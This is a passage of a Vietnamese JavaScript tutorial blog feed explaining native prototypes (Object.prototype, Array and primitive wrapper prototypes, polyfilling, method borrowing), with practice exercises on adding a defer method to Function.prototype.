punctuation">;</span> <span class="token comment">// (1)</span> <span class="token class-name">Rabbit</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span><span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (2)</span> Object<span class="token punctuation">.</span><span class="token function">getPrototypeOf</span><span class="token punctuation">(</span>rabbit<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (3)</span> rabbit<span class="token punctuation">.</span>__proto__<span class="token punctuation">.</span><span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (4)</span></code></pre></div> <div class="wrap-collapsible margin-bottom"> <input id="collapsible2" class="toggle" type="checkbox"> <label for="collapsible2" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">(1) - Rabbit (2) - undefined (3) - undefined (4) - undefined</code></pre></div> <p>Câu lệnh <code>(1)</code> thì <code>this=rabbit</code>, bởi vì <code>rabbit</code> là object đứng trước <code>.</code>, nên đáp án đúng như trên.</p> <p>Các câu lệnh <code>(2), (3), (4)</code> thì <code>this=Rabbit.prototype</code>. Mà trong <code>Rabbit.prototype</code> không có thuộc tính <code>name</code>.</p> </div> </div> </div> <p>Tham khảo: <a href="https://javascript.info/prototype-methods">Prototype methods, objects without <code>__proto__</code></a></p>[email protected]<![CDATA[Native prototypes trong JavaScript]]><![CDATA[Thuộc tính prototype thường được sử dụng nhiều trong JavaScript core. Ngoài ra, các hàm khởi tạo sẵn có khác cũng sử dụng thuộc tính này, tạm gọi là native prototype. Sau đây, mình…]]>https://completejavascript.com/native-prototypes-trong-javascript/https://completejavascript.com/native-prototypes-trong-javascript/<![CDATA[Prototype]]>Mon, 26 Jun 2017 20:00:00 GMT<p>Thuộc tính <a href="/prototype-la-gi-prototype-trong-javascript/">prototype</a> thường được sử dụng nhiều trong <strong>JavaScript core</strong>. Ngoài ra, các hàm khởi tạo sẵn có khác cũng sử dụng thuộc tính này, tạm gọi là <strong>native prototype</strong>.</p> <p>Sau đây, mình sẽ tìm hiểu chi tiết về native prototypes và cách để thêm các tính năng cho chúng.</p> <h2 id="objectprototype" style="position:relative;"><a href="#objectprototype" aria-label="objectprototype permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Object.prototype</h2> <p>Hãy xem ví dụ sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token function">alert</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// "[object Object]"</span></code></pre></div> <p>Rõ ràng, <code>obj</code> là một <strong>đối tượng rỗng</strong>. Vậy thì đoạn code tạo ra <code>"[object Object]"</code> nằm ở đâu?</p> <p>Kết quả trên được tạo ra từ phương thức <code>toString</code>.</p> <p>Thực chất, <code>obj = {}</code> tương đương với <code>obj = new Object()</code>, với <code>Object</code> là một <strong>hàm khởi tạo sẵn có</strong> trong JavaScript. Và hàm khởi tạo <code>Object</code> có <code>prototype</code> chứa phương thức <code>toString</code>.</p> <p>Khi <code>new Object()</code> được gọi, thuộc tính <code>[[Prototype]]</code> của đối tượng mới tạo ra được gán bằng <code>Object.prototype</code>.</p> <p>Khi gọi <code>obj.toString()</code>, đầu tiên JavaScript sẽ tìm kiếm trong <code>obj</code>, nhưng không tồn tại <code>toString</code> nên JavaScript tự động tìm kiếm trong prototype của <code>obj</code>.</p> <p>Bạn có thể kiểm tra lại bằng cách sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">.</span>__proto__ <span class="token operator">===</span> <span class="token class-name">Object</span><span class="token punctuation">.</span>prototype<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">.</span>toString <span class="token operator">===</span> obj<span class="token punctuation">.</span>__proto__<span class="token punctuation">.</span>toString<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">.</span>toString <span class="token operator">===</span> <span class="token class-name">Object</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>toString<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></code></pre></div> <p><strong>Chú ý:</strong> không tồn tại prototype của <code>Object.prototype</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token class-name">Object</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>__proto__<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// null</span></code></pre></div> <h2 id="native-prototypes-của-các-kiểu-dữ-liệu-khác" style="position:relative;"><a href="#native-prototypes-c%E1%BB%A7a-c%C3%A1c-ki%E1%BB%83u-d%E1%BB%AF-li%E1%BB%87u-kh%C3%A1c" aria-label="native prototypes của các kiểu dữ liệu khác permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Native prototypes của các kiểu dữ liệu khác</h2> <p>Các kiểu dữ liệu khác như <code>Array</code>, <code>Date</code>, <code>Function</code>,... cũng có các phương thức ở native prototypes.</p> <p>Ví dụ, khi tạo mảng <code>[1, 2, 3]</code> thì JavaScript sẽ gọi hàm khởi tạo <code>new Array()</code>. Vì vậy, <code>Array.prototype</code> cũng trở thành prototype của mảng được tạo ra.</p> <p>Nhờ đó mà bạn có thể sử dụng các phương thức với mảng như <code>forEach</code>, <code>map</code>, <code>filter</code>,...</p> <p><strong>Chú ý:</strong> các kiểu dữ liệu sẵn có trong JavaScript đều có <code>Object.prototype</code> ở <strong>top của chuỗi prototype</strong>. Nói cách khác, tất cả các <strong>kiểu dữ liệu tham chiếu</strong> đều kế thừa từ object, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// mảng arr kế thừa prototype từ Array.prototype</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">.</span>__proto__ <span class="token operator">===</span> <span class="token class-name">Array</span><span class="token punctuation">.</span>prototype<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> <span class="token comment">// sau đó prototype trên lại kế thừa từ Object.prototype</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">.</span>__proto__<span class="token punctuation">.</span>__proto__ <span class="token operator">===</span> <span class="token class-name">Object</span><span class="token punctuation">.</span>prototype<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> <span class="token comment">// cuối cùng là null</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">.</span>__proto__<span class="token punctuation">.</span>__proto__<span class="token punctuation">.</span>__proto__<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// null</span></code></pre></div> <p>Một vài phương thức trong chuỗi prototype <strong>có thể trùng tên nhau</strong>.</p> <p>Ví dụ <code>Object.prototype</code> có phương thức <code>toString</code> và <code>Array.prototype</code> cũng có phương thức <code>toString</code> riêng. Tuy nhiên, prototype nào gần hơn thì sẽ được sử dụng.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token function">alert</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1,2,3 &lt;-- kết quả từ Array.prototype.toString</span></code></pre></div> <p>Trong ví dụ trên, kết quả <code>1, 2, 3</code> được tạo ra từ <code>Array.prototype.toString</code>.</p> <h2 id="kiểu-dữ-liệu-nguyên-thủy" style="position:relative;"><a href="#ki%E1%BB%83u-d%E1%BB%AF-li%E1%BB%87u-nguy%C3%AAn-th%E1%BB%A7y" aria-label="kiểu dữ liệu nguyên thủy permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểu dữ liệu nguyên thủy</h2> <p>Trong các ví dụ trên, mình mới chỉ đề cập tới <strong>kiểu dữ liệu tham chiếu</strong>, với <a href="/kieu-du-lieu-trong-javascript/">kiểu dữ liệu nguyên thủy</a> thì sao?</p> <p>Rõ ràng, kiểu dữ liệu nguyên thủy <strong>không phải object</strong>. Nhưng khi bạn truy cập vào các thuộc tính, phương thức của kiểu dữ liệu nguyên thủy thì JavaScript sẽ tự động tạo ra một <strong>wrapper object</strong> từ các hàm khởi tạo <code>String</code>, <code>Number</code> và <code>Boolean</code>.</p> <p>Đây là <strong>object tạm</strong> dùng để đóng gói lấy kiểu dữ liệu nguyên thủy. Và sau khi JavaScript sử dụng xong thì wrapper object sẽ được giải phóng.</p> <p>Phương thức của các <strong>đối tượng tạm</strong> trên cũng nằm trong prototype, cụ thể là: <code>String.prototype</code>, <code>Number.prototype</code> và <code>Boolean.prototype</code>.</p> <blockquote> <p><strong>Chú ý:</strong> hai kiểu dữ liệu <code>null</code> và <code>undefined</code> không có <strong>wrapper object</strong>. Do đó, hai kiểu dữ liệu này không có phương thức nào đi cùng.</p> </blockquote> <h2 id="thay-đổi-native-prototypes" style="position:relative;"><a href="#thay-%C4%91%E1%BB%95i-native-prototypes" aria-label="thay đổi native prototypes permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thay đổi native prototypes</h2> <p>Native prototypes <strong>có thể thay đổi được</strong>. Giả sử bạn thêm một phương thức cho <code>String.prototype</code> thì phương thức này có thể được dùng ở mọi string:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token class-name">String</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span><span class="token function-variable function">show</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token string">"AHA"</span><span class="token punctuation">.</span><span class="token function">show</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// AHA!</span></code></pre></div> <p>Trong quá trình phát triển phần mềm, bạn có thể sẽ muốn <strong>thêm phương thức</strong> cho các kiểu dữ liệu. Và giả sử, bạn thêm chúng vào native prototypes.</p> <p>Cách này đúng nhưng không phải là một ý tưởng tốt. Bởi vì prototypes là <strong>global</strong>.</p> <p>Nếu hai thư viện cùng thêm phương thức <code>String.prototype.show</code> thì một trong hai sẽ bị ghi đè, dẫn đến xung đột code.</p> <blockquote> <p><strong>Chú ý:</strong> chỉ có một trường hợp bạn nên thêm phương thức vào native prototypes, đó là <strong>polyfilling</strong>.</p> </blockquote> <p>Polyfilling nghĩa là bạn thêm một phương thức vào kiểu dữ liệu sẵn có trong JavaScript. Phương thức này tồn tại trong <strong>mô tả của ngôn ngữ JavaScript</strong> nhưng lại chưa được hỗ trợ ở một JavaScript engine hoặc một phiên bản trình duyệt cũ, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Nếu như String chưa có phương thức `String.prototype.repeat`</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token class-name">String</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>repeat<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// Triển khai phương thức repeat</span> <span class="token class-name">String</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span><span class="token function-variable function">repeat</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">n</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// phương thức repeat lặp lại string với số lần là n</span> <span class="token keyword">return</span> <span class="token keyword">new</span> <span class="token class-name">Array</span><span class="token punctuation">(</span>n <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Ha"</span><span class="token punctuation">.</span><span class="token function">repeat</span><span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// HaHaHa</span></code></pre></div> <h2 id="mượn-các-phương-thức-từ-prototypes" style="position:relative;"><a href="#m%C6%B0%E1%BB%A3n-c%C3%A1c-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-t%E1%BB%AB-prototypes" aria-label="mượn các phương thức từ prototypes permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mượn các phương thức từ prototypes</h2> <p>Trong bài viết về <a href="/decorator-forwarding-ham-trong-javascript/">decorator và forwarding của hàm trong JavaScript</a>, mình đã nói về vấn đề <strong>mượn phương thức</strong>.</p> <p>Đó là khi mình muốn mượn phương thức từ một object và sao chép sang object khác.</p> <p>Ví dụ, để tạo ra một array-object, bạn có thể sao chép các phương thức của <code>Array.prototype</code> sang object như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token number">0</span><span class="token operator">:</span> <span class="token string">"Hello"</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token operator">:</span> <span class="token string">"world!"</span><span class="token punctuation">,</span> <span class="token literal-property property">length</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">obj<span class="token punctuation">.</span>join <span class="token operator">=</span> <span class="token class-name">Array</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>join<span class="token punctuation">;</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span><span class="token string">","</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello,world!</span></code></pre></div> <p>Cách trên hoạt động chính xác vì phương thức <code>Array.prototype.join</code> chỉ quan tâm tới <strong>chỉ số</strong> và thuộc tính <code>length</code>.</p> <p>Ngoài ra, để sao chép tất cả các phương thức của <code>Array.prototype</code> sang object, bạn có thể làm như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token number">0</span><span class="token operator">:</span> <span class="token string">"Hello"</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token operator">:</span> <span class="token string">"world!"</span><span class="token punctuation">,</span> <span class="token literal-property property">length</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">obj<span class="token punctuation">.</span>__proto__ <span class="token operator">=</span> <span class="token class-name">Array</span><span class="token punctuation">.</span>prototype<span class="token punctuation">;</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span><span class="token string">","</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello,world!</span></code></pre></div> <blockquote> <p><strong>Chú ý:</strong> cách làm như trên không chính xác nếu object đã kế thừa prototype từ một object khác. Thực tế là chỉ kế thừa được <strong>một object tại một thời điểm</strong>.</p> </blockquote> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Tất cả <strong>đối tượng sẵn có trong JavaScript</strong> đều có dạng như sau:</p> <ul> <li>Các phương thức được lưu trong native prototypes, ví dụ: <code>Array.prototype</code>, <code>Date.prototype</code>, <code>Function.prototype</code>,...</li> <li>Bản thân object chỉ lưu dữ liệu, ví dụ: mảng các phần tử, ngày tháng năm,...</li> </ul> <p>Các kiểu dữ liệu nguyên thủy cũng có các phương thức ở <strong>wrapper object</strong> là: <code>String.prototype</code>, <code>Number.prototype</code> và <code>Boolean.prototype</code>.</p> <p>Prototype có thể thay đổi hoặc thêm mới các phương thức. Tuy nhiên, việc này không được khuyến khích.</p> <p>Chỉ có <strong>một trường hợp</strong> bạn nên thêm phương thức vào prototype. Đó là khi phương thức được định nghĩa trong mô tả của ngôn ngữ JavaScript nhưng <strong>chưa được hỗ trợ</strong> ở một số JavaScript Engine hoặc trình duyệt nhất định.</p> <h2 id="thực-hành" style="position:relative;"><a href="#th%E1%BB%B1c-h%C3%A0nh" aria-label="thực hành permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thực hành</h2> <h3 id="bài-1" style="position:relative;"><a href="#b%C3%A0i-1" aria-label="bài 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 1</h3> <p>Thêm vào prototype của tất cả các hàm phương thức <code>defer(ms)</code> - thực thi hàm sau <code>ms</code> mili giây, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">f</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> f<span class="token punctuation">.</span><span class="token function">defer</span><span class="token punctuation">(</span><span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hiển thị "Hello!" sau 1 giây</span></code></pre></div> <div class="wrap-collapsible margin-bottom"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="gatsby-highlight-code-line"><span class="token class-name">Function</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span><span class="token function-variable function">defer</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">ms</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">,</span> ms<span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"><span class="token punctuation">}</span><span class="token punctuation">;</span></span> <span class="token keyword">function</span> <span class="token function">f</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> f<span class="token punctuation">.</span><span class="token function">defer</span><span class="token punctuation">(</span><span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hiển thị "Hello!" sau 1 giây</span></code></pre></div> </div> </div> </div> <h3 id="bài-2" style="position:relative;"><a href="#b%C3%A0i-2" aria-label="bài 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 2</h3> <p>Thêm vào prototype của tất cả các hàm phương thức <code>defer(ms)</code> - trả về một hàm wrapper giúp trì hoãn việc thực thi hàm sau <code>ms</code> mili giây, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">f</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a <span class="token operator">+</span> b<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> f<span class="token punctuation">.</span><span class="token function">defer</span><span class="token punctuation">(</span><span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hiển thị 3 sau 1 giây</span></code></pre></div> <div class="wrap-collapsible margin-bottom"> <input id="collapsible2" class="toggle" type="checkbox"> <label for="collapsible2" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="gatsby-highlight-code-line"><span class="token class-name">Function</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span><span class="token function-variable function">defer</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">ms</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token comment">// lưu lại hàm</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">let</span> f <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"></span><span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">f</span><span class="token punctuation">.</span><span class="token function">apply</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token operator">...</span>arguments<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">,</span> ms<span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"><span class="token punctuation">}</span><span class="token punctuation">;</span></span> <span class="token keyword">function</span> <span class="token function">f</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a <span class="token operator">+</span> b<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token 